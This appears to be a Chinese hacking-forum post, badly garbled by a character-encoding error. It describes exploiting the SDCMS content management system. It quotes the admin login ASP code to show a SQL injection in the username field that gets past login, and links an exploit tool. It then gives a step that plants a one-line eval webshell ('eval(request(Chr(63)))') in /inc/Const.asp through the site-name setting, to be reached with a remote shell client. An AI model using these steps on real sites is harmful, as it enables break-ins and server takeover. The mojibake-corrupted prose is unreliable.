SDCMSͨɱ©¶´ÀûÓù¤¾ß¼°ÌáȨÄÃSHELL
×÷ÕߣºT00LS ¹í¸ç©¶´Îļþ£ººǫ́Ŀ¼/index.asp
Sub Check
Dim username,password,code,getcode,Rs
IF Check_post Then Echo "1½ûÖ¹´ÓÍⲿÌá½»Êý¾Ý!":Exit Sub
username=FilterText(Trim(Request.Form("username")),1)
password=FilterText(Trim(Request.Form("password")),1)
code=Trim(Request.Form("yzm"))
getcode=Session("SDCMSCode")
IF errnum>=loginnum Then Echo "ϵͳÒѽûÖ¹Äú½ñÈÕÔٵǼ":died
IF code="" Then Alert "ÑéÖ¤Âë²»ÄÜΪ¿Õ£¡","javascript:history.go(-1)":Died
IF code<>"" And Not Isnumeric(code) Then Alert "ÑéÖ¤Âë±ØÐëΪÊý×Ö£¡","javascript:history.go(-1)":Died
IF code<>getcode Then Alert "ÑéÖ¤Âë´íÎó£¡","javascript:history.go(-1)":Died
IF username="" or password="" Then
Echo "Óû§Ãû»òÃÜÂë²»ÄÜΪ¿Õ":Died
Else
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
IF Rs.Eof Then
AddLog username,GetIp,"µÇ¼ʧ°Ü",1
Echo "Óû§Ãû»òÃÜÂë´íÎó,½ñÈÕ»¹ÓÐ "&loginnum-errnum&" ´Î»ú»á"
Else
Add_Cookies "sdcms_id",Rs(0)
Add_Cookies "sdcms_name",username
Add_Cookies "sdcms_pwd",Rs(2)
Add_Cookies "sdcms_admin",Rs(3)
Add_Cookies "sdcms_alllever",Rs(4)
Add_Cookies "sdcms_infolever",Rs(5)
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
AddLog username,GetIp,"µÇ¼³É¹¦",1
'×Ô¶¯É¾³ý30ÌìǰµÄLog¼Ç¼
IF Sdcms_DataType Then
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
Else
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
End IF
Go("sdcms_index.asp")
End IF
Rs.Close
Set Rs=Nothing
End IF
End Sub
¡¯ÎÒÃÇ¿ÉÒÔ¿´µ½usernameÊÇͨ¹ýFilterTextÀ´¹ýÂ˵ġ£ÎÒÃÇ¿´¿´FilterTextµÄ´úÂë
Function FilterText(ByVal t0,ByVal t1)
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
t0=Trim(t0)
Select Case t1
Case "1"
t0=Replace(t0,Chr(32),"")
t0=Replace(t0,Chr(13),"")
t0=Replace(t0,Chr(10)&Chr(10),"")
t0=Replace(t0,Chr(10),"")
Case "2"
t0=Replace(t0,Chr(8),"")'»Ø¸ñ
t0=Replace(t0,Chr(9),"")'tab(Ë®Æ½ÖÆ±í·û)
t0=Replace(t0,Chr(10),"")'»»ÐÐ
t0=Replace(t0,Chr(11),"")'tab(´¹Ö±ÖƱí·û)
t0=Replace(t0,Chr(12),"")'»»Ò³
t0=Replace(t0,Chr(13),"")'»Ø³µ chr(13)&chr(10) »Ø³µºÍ»»ÐеÄ×éºÏ
t0=Replace(t0,Chr(22),"")
t0=Replace(t0,Chr(32),"")'¿Õ¸ñ SPACE
t0=Replace(t0,Chr(33),"")'!
t0=Replace(t0,Chr(34),"")'"
t0=Replace(t0,Chr(35),"")'#
t0=Replace(t0,Chr(36),"")'$
t0=Replace(t0,Chr(37),"")'%
t0=Replace(t0,Chr(38),"")'&
t0=Replace(t0,Chr(39),"")''
t0=Replace(t0,Chr(40),"")'(
t0=Replace(t0,Chr(41),"")')
t0=Replace(t0,Chr(42),"")'*
t0=Replace(t0,Chr(43),"")'+
t0=Replace(t0,Chr(44),"")',
t0=Replace(t0,Chr(45),"")'-
t0=Replace(t0,Chr(46),"")'.
t0=Replace(t0,Chr(47),"")'/
t0=Replace(t0,Chr(58),"")':
t0=Replace(t0,Chr(59),"")';
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
t0=Replace(t0,Chr(63),"")'?
t0=Replace(t0,Chr(64),"")'@
t0=Replace(t0,Chr(91),"")'\
t0=Replace(t0,Chr(92),"")'\
t0=Replace(t0,Chr(93),"")']
t0=Replace(t0,Chr(94),"")'^
t0=Replace(t0,Chr(95),"")'_
t0=Replace(t0,Chr(96),"")'`
t0=Replace(t0,Chr(123),"")'{
t0=Replace(t0,Chr(124),"")'|
t0=Replace(t0,Chr(125),"")'}
t0=Replace(t0,Chr(126),"")'~
Case Else
t0=Replace(t0, "&", "&")
t0=Replace(t0, "'", "'")
t0=Replace(t0, """", """)
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
End Select
IF Instr(Lcase(t0),"expression")>0 Then
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
End If
FilterText=t0
End Function
¿´µ½Ã»¡£Ö±½Ó²ÎÊýÊÇ1 Ö»¹ýÂË
t0=Replace(t0,Chr(32)," ")
t0=Replace(t0,Chr(13),"")
t0=Replace(t0,Chr(10)&Chr(10),"
")
t0=Replace(t0,Chr(10),"
")
©¶´µ¼Ö¿ÉÒÔÖ±½ÓÄõ½ºǫ́ÕʺÅÃÜÂë¡£SDCMSĬÈϺǫ́µØÖ·/admin/Èç¹ûÕ¾³¤¸ÄÁ˺ǫ́·¾¶,ÄÇôÇë×ÔÐвéÕÒ!
EXPÀûÓù¤¾ßÏÂÔØ (´Ë¹¤¾ßÖ»ÄÜÔÚXPÉÏÔËÐÐ):sdcms-EXP
²âÊÔ:
ÏÖÔÚÊäÈ빤¾ßÉÏÑéÖ¤Âë,È»ºóµãOK
¿´µ½ÎÒÃÇÖ±½Ó½øÈëºǫ́¹ÜÀí½çÃæÁË,ºÇºÇ!
ÕâÑùÖ±½Ó½øÈëºǫ́ÁË¡£¡£¡£¡£
SDCMSÌáȨ:
·½·¨1£º·ÃÎÊ£º/ºǫ́Ŀ¼/sdcms_set.asp ÔÚ ÍøÕ¾Ãû³Æ£ººóÃæ¼Ó¸ö ¡°:eval(request(Chr(63)))¡¯¼´¿É£¬Ö±½Óдһ¾ä»°½øÈ¥¡£ дÈëµ½/inc/Const.asp Ò»¾ä»°Á¬½ÓÃÜÂëÊÇ?
OK,ÏÖÔÚÓò˵¶Á¬½ÓÏÂ!
Ò³:
[1]